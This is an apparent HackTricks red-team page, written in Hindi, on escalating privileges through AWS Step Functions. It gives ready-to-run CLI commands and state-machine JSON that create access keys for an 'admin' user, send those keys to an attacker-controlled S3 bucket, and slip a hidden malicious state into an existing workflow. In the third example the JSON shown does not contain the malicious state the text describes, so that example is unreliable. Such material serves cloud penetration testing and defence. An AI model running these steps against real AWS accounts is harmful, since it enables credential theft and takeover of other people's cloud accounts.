AWS - Step Functions Privesc

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Step Functions

इस AWS सेवा के बारे में अधिक जानकारी के लिए, देखें:

AWS - Step Functions Enum

Task Resources

ये विशेषाधिकार वृद्धि तकनीकें कुछ AWS स्टेप फ़ंक्शन संसाधनों का उपयोग करने की आवश्यकता होंगी ताकि इच्छित विशेषाधिकार वृद्धि क्रियाएँ की जा सकें।

सभी संभावित क्रियाओं की जांच करने के लिए, आप अपने स्वयं के AWS खाते में जा सकते हैं, उस क्रिया का चयन कर सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से पैरामीटर का उपयोग कर रहा है, जैसे कि:

या आप AWS API दस्तावेज़ में भी जा सकते हैं और प्रत्येक क्रिया के दस्तावेज़ की जांच कर सकते हैं:

states:TestState & iam:PassRole

एक हमलावर जिसके पास states:TestState & iam:PassRole अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है जिनके पास भूमिकाओं की अनुमतियाँ हैं। मिलकर, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि।

bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो admin उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-privileged नीति का संबंध होना चाहिए (उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess) जो राज्य को iam:CreateAccessKey क्रिया करने की अनुमति देती है:

  • stateDefinition.json:
json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • कमांड जो प्रिवेस्क करने के लिए निष्पादित की गई:
bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

संभावित प्रभाव: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है।

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

एक हमलावर जिसके पास states:CreateStateMachine& iam:PassRole है, वह एक राज्य मशीन बना सकेगा और इसे किसी भी IAM भूमिका को प्रदान कर सकेगा, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाएगी जिनके पास भूमिकाओं की अनुमतियाँ हैं। पिछले प्रिवेस्क तकनीक (states:TestState & iam:PassRole) के विपरीत, यह अपने आप निष्पादित नहीं होता है, आपको राज्य मशीन पर निष्पादन शुरू करने के लिए states:StartExecution या states:StartSyncExecution अनुमतियों की भी आवश्यकता होगी (states:StartSyncExecution मानक कार्यप्रवाहों के लिए उपलब्ध नहीं है, केवल व्यक्त राज्य मशीनों के लिए)।

bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य मशीन बनाई जाए जो admin उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाती है और इस एक्सेस कुंजी को एक हमलावर-नियंत्रित S3 बकेट में निकालती है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-विशिष्ट नीति का संबंध होना चाहिए (उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess) जो राज्य मशीन को iam:CreateAccessKey और s3:putObject क्रियाएँ करने की अनुमति देती है।

  • stateMachineDefinition.json:
json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Command executed to create the state machine:
bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • कमांड जो पहले से बनाए गए राज्य मशीन का निष्पादन शुरू करने के लिए निष्पादित की गई:
json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

warning

हमलावर-नियंत्रित S3 बकेट को पीड़ित खाते से s3:PutObject क्रिया स्वीकार करने के लिए अनुमतियाँ होनी चाहिए।

संभावित प्रभाव: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है।

states:UpdateStateMachine & (हमेशा आवश्यक नहीं) iam:PassRole

एक हमलावर जिसके पास states:UpdateStateMachine अनुमति है, वह एक राज्य मशीन की परिभाषा को संशोधित कर सकेगा, अतिरिक्त छिपे हुए राज्यों को जोड़ने में सक्षम होगा जो विशेषाधिकार वृद्धि में समाप्त हो सकते हैं। इस तरह, जब एक वैध उपयोगकर्ता राज्य मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण छिपा हुआ राज्य निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी।

इस पर निर्भर करते हुए कि राज्य मशीन से संबंधित IAM भूमिका कितनी उदार है, एक हमलावर को 2 स्थितियों का सामना करना पड़ेगा:

  1. उदार IAM भूमिका: यदि राज्य मशीन से संबंधित IAM भूमिका पहले से ही उदार है (उदाहरण के लिए, इसमें arn:aws:iam::aws:policy/AdministratorAccess नीति संलग्न है), तो विशेषाधिकार बढ़ाने के लिए iam:PassRole अनुमति की आवश्यकता नहीं होगी क्योंकि IAM भूमिका को अपडेट करना आवश्यक नहीं होगा, राज्य मशीन की परिभाषा पर्याप्त है।
  2. गैर-उदार IAM भूमिका: पिछले मामले के विपरीत, यहाँ एक हमलावर को iam:PassRole अनुमति की भी आवश्यकता होगी क्योंकि राज्य मशीन से संबंधित एक उदार IAM भूमिका को जोड़ना आवश्यक होगा इसके अलावा राज्य मशीन की परिभाषा को संशोधित करना।
bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक वैध स्टेट मशीन को अपडेट किया जाए जो केवल एक HelloWorld Lambda फ़ंक्शन को कॉल करती है, ताकि एक अतिरिक्त स्टेट जोड़ा जा सके जो उपयोगकर्ता unprivilegedUser को administrator IAM समूह में जोड़ता है। इस तरह, जब एक वैध उपयोगकर्ता अपडेट की गई स्टेट मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण स्टील्थ स्टेट निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी।

warning

यदि स्टेट मशीन के साथ कोई अनुमति देने वाली IAM भूमिका संबद्ध नहीं है, तो एक अनुमति देने वाली IAM भूमिका को संबद्ध करने के लिए IAM भूमिका को अपडेट करने के लिए iam:PassRole अनुमति भी आवश्यक होगी (उदाहरण के लिए, एक जिसमें arn:aws:iam::aws:policy/AdministratorAccess नीति संलग्न है)।

json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • कमांड जो वैध स्थिति मशीन को अपडेट करने के लिए निष्पादित किया गया:
bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

संभावित प्रभाव: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें